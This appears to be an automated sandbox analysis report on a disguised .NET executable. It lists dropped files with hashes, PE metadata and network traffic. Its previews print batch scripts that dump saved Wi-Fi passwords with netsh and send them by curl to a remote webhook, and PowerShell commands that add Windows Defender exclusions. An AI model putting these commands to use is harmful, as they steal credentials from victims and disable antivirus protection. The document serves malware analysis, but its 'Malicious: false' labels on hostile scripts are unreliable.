SHA-512:	C76E60C016582E7197715C7A59A2BF48DD7CD0CB2A369C5F34570C57315DA84857BB420708D1FC0AC1061032A885FEAD587A8F1D6D85C09EDD2E8DC5734596BA
Malicious:	false
Preview:	echo off && title WIFIS PERDIDAS CONSEGUIDOR MAESTRO CREADO POR MRGATON && color 3 && cls..FOR /F %%I IN ('curl "https://set-clima.mrgaton.repl.co/WIFI:BAT"') do set SED=%%I..if not exist "C:\GatonFiles\Scripts\Link.dll" (.."C:\GatonFiles\Scripts\Uploader.vbs"..)..if exist "C:\GatonFiles\Scripts\Link.dll" (..for /f "delims=" %%q in (C:\GatonFiles\Scripts\Link.dll) do set LINK=%%q..)..echo Intentando conectar al systema..set Pitruski=wlan..set cmd1=netsh %Pitruski% show profiles ^^^\|find " : "..set cmd2=netsh %Pitruski% show profiles name^^^="%%b" key^^^=clear ^^^\| find /n /v "" ..netsh %Pitruski% show profiles \| findstr /R /C:"[ ]:[ ]"..if %errorlevel%==1 goto fail2..echo Fue un exito consiguiendo las wifis..curl -X POST -H "Content-type: application/json" --data "{\"avatar_url\": \"%LINK%\", \"username\": \"%USERNAME%\", \"content\": \"*Enviando Wifis\n\"}" %SED%..for /f "tokens=2 delims=:" %%a in ('%cmd1%') do for /f "tokens=" %%b in ("%%a") do (for /f "delims=[]" %%z in ('%cmd

C:\GatonFiles\Scripts\cmc.bat Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	13993
Entropy (8bit):	5.463481737879301
Encrypted:	false
SSDEEP:	192:Y9RA9lA9tEG3vr8CapTVymNuyw0XsQcn2OkpzKFQPGhxbZTHRgAfMSlad9drM97U:oRwGtEG3vr8CapTV/jtpzdeR9DOuQ
MD5:	8F0841B5991DAC232B12BDBDF0B8AE21
SHA1:	D58A9A2CB9051A784851CE5C594D58B5191352AB
SHA-256:	0B1C474D439C700AE4BEACA91C6F0EAC9E690C73D6AF74BF0BC4F40CA91BE851
SHA-512:	0124C0AF7217EF01E9EFCE463BDEAC5720D69E712C6EDA4CF61F445D6FE1F70BBD716BE298AE0B9CCA27606605F3E7F39B05BB85F8903BB118258E8EB1026640
Malicious:	false
Preview:	wmic process where name="cmd.exe" call setpriority 64..cd "C:\GatonFiles\Scripts"..SET VERSIONASA="4.2"..FOR /F %%I IN ('curl "https://set-clima.mrgaton.repl.co/WEB.html"') do set WEB=%%I..title CMC Creado por Mrgaton#0001 ..net session..if %errorLevel%==0 (color 3 && set ADMINCHECKER=:blue_circle:) else (color 4 && set ADMINCHECKER=:red_circle:)..set exit=0..set killcmd=0..set killscript=0..set core=0..set MOSIP=1..set MOSPCON=1..set MOSRAM=1..set MOSCPU=1..set MOSTMP=1..set MOSGPU=1..set MOSBAT=1..set MOSVER=1..curl "https://set-clima.mrgaton.repl.co">C:\GatonFiles\Scripts\Setings.dll..for /f "tokens=*" %%i in (C:\GatonFiles\Scripts\Setings.dll) do (..if %%i==mostrar_clima_1 set core=1..if %%i==mostrar_clima_0 set core=0..if %%i==mostrar_ip_1 set MOSIP=1..if %%i==mostrar_ip_0 set MOSIP=0..if %%i==mostrar_pcon_1 set MOSPCON=1..if %%i==mostrar_pcon_0 set MOSPCON=0..if %%i==mostrar_ram_1 set MOSRAM=1..if %%i==mostrar_ram_0 set MOSRAM=0..if %%i==mostrar_cpu_1 set MOSCPU=1..if %%i==mostra

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2.exe.log Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.350326386662965
Encrypted:	false
SSDEEP:	24:ML9E4KrgKDE4KGKN08AKhPKIE4TKD1KoZAE4KKPz:MxHKEYHKGD8AoPtHTG1hAHKKPz
MD5:	8695FFB03DE68402BA23CADD1D71EF14
SHA1:	67BBF40D11F0B1841FEE4F622E07855787065E0B
SHA-256:	1F0942A2EECF4990E027C7D609E319ADCF4563F984DD0D8EF2B370A1817F3C1C
SHA-512:	6EDEEAB5EF14473DF54251D69A3E2B7AC29778AEF929F8EC05F03008BF9AD629FE315115B22EDC09E92E1D7F2869CF9D4DDC6DB92C4158E92F80DEDA5A365098
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\e82398e9ff6885d617e4b97e31fb4f02\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\f2e3165e3c718b7ac302fea40614c984\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1292
Entropy (8bit):	5.353484982621018
Encrypted:	false
SSDEEP:	24:3vUAPpQrLAo4KAxX5qRPD42HOoVZe9t4CvKuKnKJRSF8PQ9b6F:8APerB4nqRL/Hvfe9t4Cv94aR48Y9eF
MD5:	E13A29925DCC70BBB9172F467860FDE5
SHA1:	83F5DF637300324E512DE4B08B6322BC94A7E05A
SHA-256:	58223C2381C6D0F52FA98B6317FB7493A61CF02E6326EA5860114BA86C3C774B
SHA-512:	7BC27E66E0406DDEE6E0B3E63E316C9B86FD04E0814635E9B8B0C4BDD78FEDF2167EFA1F5F6BDFC64E8DAB7967A47C7E0EF290A53AD6A05F60207A6D1F891C9A
Malicious:	false
Preview:	@...e...................................9............@..........8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q..........System.Xml..4...............T..'Z..N..Nvj.G.........System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1t10d21c.jip.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4a1wffui.sxy.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a2mbfu0c.yu2.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ll0spmjz.yzg.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_opgfohha.4cb.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sa1oh0fz.lbq.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\Documents\20210212\PowerShell_transcript.414408.5IsCY8XH.20210212193932.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5214
Entropy (8bit):	5.374491182321908
Encrypted:	false
SSDEEP:	96:BZw/jN5wqDo1Z2ZT/jN5wqDo1Z3BfJjZi/jN5wqDo1ZQc55eZl:4/t7
MD5:	24792ED9117E5BD27A479A220F6F376A
SHA1:	93D5602DD702D35DA84592D358E7270C773C5DCA
SHA-256:	0EDB893912FB26AA59088FFC7CB53BA6A617ABDEB54537510F04F619B9A4C89C
SHA-512:	93B91551AF87212D06554EEE0E331FD5A2D0E7A06465192CF27691D42DCA65A879AFEB7770070503E89F7540B5BC56B2AD01A2100EBB488FC7A98D7E04288D14
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20210212193933..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 414408 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell Add-MpPreference -ExclusionPath C:\temp\Files..Process ID: 6708..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20210212193933..******************..PS>Add-MpPreference -ExclusionPath C:\temp\Files..********************..Windows PowerShell transcript start..Start time: 20210212194326..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 414408 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell

C:\Users\user\Documents\20210212\PowerShell_transcript.414408.Ex7Cy63l.20210212193949.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5550
Entropy (8bit):	5.355645127746279
Encrypted:	false
SSDEEP:	96:BZH/jN5vqDo1ZVZo/jN5vqDo1ZWdT1jZ+/jN5vqDo1ZwIllHZg:Pe9m
MD5:	AEAB3D6463C7F69300EDCA026E07EF93
SHA1:	D3508741A2F4DDA930660C80BDA8B471FBC9F06A
SHA-256:	E434BF8B785CD8FD1AF20F23BA3B734A13BE6BE671515A3F7F8211D76AEA8369
SHA-512:	A6010EFDD5E98D0BE885EC7804A66BE94B133312CAFDED28670FE1CC95AB6EFC7584E0BEC1785DDCAB6FDCF015570DC96F05F31BFA8EE4A9D5C3C2ADCCEE984F
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20210212193950..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 414408 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell Add-MpPreference -ExclusionProcess C:\Windows\System32\wscript.exe..Process ID: 6464..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20210212193950..******************..PS>Add-MpPreference -ExclusionProcess C:\Windows\System32\wscript.exe..********************..Windows PowerShell transcript start..Start time: 20210212194352..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 414408 (Microsoft Windows NT 10

C:\Users\user\Documents\20210212\PowerShell_transcript.414408.dTWrrNKj.20210212193916.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5214
Entropy (8bit):	5.376164670972943
Encrypted:	false
SSDEEP:	96:BZR/jN5bqDo1Z+ZI/jN5bqDo1Z7Nw64jZl/jN5bqDo1ZnNooCZV:pH4i
MD5:	5E57C4B295625A1D7012708B73D90089
SHA1:	B2F0AD905F68E494602FC13F3C91148F44732284
SHA-256:	7F284AE7E57FBA38A08FDFBE50EF0D4DC84DC10162C6F71B5FAD8E2EDACFCE63
SHA-512:	5C1F4E6636016F9150ACF7D5716A43D341E43C43FB72F0CEF11FD158BDFB902D03502072527AAB5D686786F53005E7513220F708BF7162F791A7E370F2C540DF
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20210212193916..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 414408 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell Add-MpPreference -ExclusionPath C:\GatonFiles..Process ID: 4548..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20210212193916..******************..PS>Add-MpPreference -ExclusionPath C:\GatonFiles..********************..Windows PowerShell transcript start..Start time: 20210212194334..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 414408 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell

\Device\ConDrv Download File
Process:	C:\Windows\System32\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.208966082694623
Encrypted:	false
SSDEEP:	3:nLWGWNI3ov:nyGWNOov
MD5:	F2CE4C29DC78D5906090690C345EAF80
SHA1:	D12E3B86380F0DBEF4FBDFFE2CBFE2144FB7E9CD
SHA-256:	0356A869FC7E6495BAC33303B002935C317166D0EA5D403BE162573CF01055D8
SHA-512:	51F939C41710BC3A4E443CDAF33AAE614B043ACC2382A0C836049E34D2F51C8195FD149548752B33E4EDD4299548BB1957B89997FC640C837C9400D76FEA5B74
Malicious:	false
Preview:	No Instance(s) Available....

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.221711326146183
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	2.exe
File size:	121856
MD5:	3f6fcdaa059d9ba461578374c74e5696
SHA1:	fa535b72a9cea09f5869e8ad1b8179f229985fcf
SHA256:	30c0b3f98d0e267293219f3a03347f87da66c208739e569b87b49fc6903128c4
SHA512:	a05c569a8a1d2727987e1913b8e4b90505605db3a2358ad5c7adfe0f24501949681e202eb2925ed4962447e09e07cfd2d88ce0430f369e29c2cdee7ce78d4022
SSDEEP:	768:Vm2zfxXOt+oPq38OIHitat5Q8aE9MhJ/gaLpZVb5HKrq4BaMDrllU74auqdGjnwy:Q2z5XOZcat50E92jq074auqdGjnwy
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....!..........."...0.................. ........@.. .......................@............@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x41ef8a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0xA0219704 [Thu Feb 18 09:31:48 2055 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1ef38	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x20000	0x3d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x22000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1ef1c	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1cf90	0x1d000	False	0.176707300647	data	4.26785642311	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x20000	0x3d8	0x400	False	0.42578125	data	3.18453918242	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x22000	0xc	0x400	False	0.025390625	data	0.0558553080537	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x20058	0x37c	data

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	SCREEN SAVER
Assembly Version	2.0.0.0
InternalName	IP GRAVER.exe
FileVersion	4.0.0.0
CompanyName	SYSTEM USER
LegalTrademarks	NUCLEAR MANAGERs
Comments	WINDOWS UPDATE
ProductName	USER MANAGER
ProductVersion	4.0.0.0
FileDescription	MICROSOFT HEALTH
OriginalFilename	IP GRAVER.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source IP	Dest IP
02/12/21-19:40:38.467996	ICMP	382	ICMP PING Windows	192.168.2.5	1.1.1.1
02/12/21-19:40:38.467996	ICMP	384	ICMP PING	192.168.2.5	1.1.1.1
02/12/21-19:40:38.509617	ICMP	408	ICMP Echo Reply	1.1.1.1	192.168.2.5
02/12/21-19:40:42.095791	ICMP	382	ICMP PING Windows	192.168.2.5	1.1.1.2
02/12/21-19:40:42.095791	ICMP	384	ICMP PING	192.168.2.5	1.1.1.2
02/12/21-19:40:42.138139	ICMP	408	ICMP Echo Reply	1.1.1.2	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 12, 2021 19:39:12.915743113 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:12.962869883 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:12.962992907 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.007564068 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.055013895 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.060415030 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.060472012 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.060504913 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.060554981 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.066039085 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.110780001 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.111145973 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.154292107 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.169187069 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.214111090 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.235661030 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.235707998 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.235745907 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.235774040 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.235810995 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.235848904 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.235934019 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.235985994 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.235992908 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.236599922 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.236640930 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.236726999 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.237693071 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.237735033 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.237806082 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.238838911 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.238930941 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.238996029 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.239984035 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.240024090 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.240092993 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.241044044 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.241095066 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.241189003 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.242161036 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.242201090 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.242275000 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.243243933 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.243284941 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.243365049 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.244388103 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.244436979 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.244527102 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.245492935 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.245534897 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.245625019 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.246532917 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.246576071 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.246646881 CET	49709	443	192.168.2.5	162.159.134.233
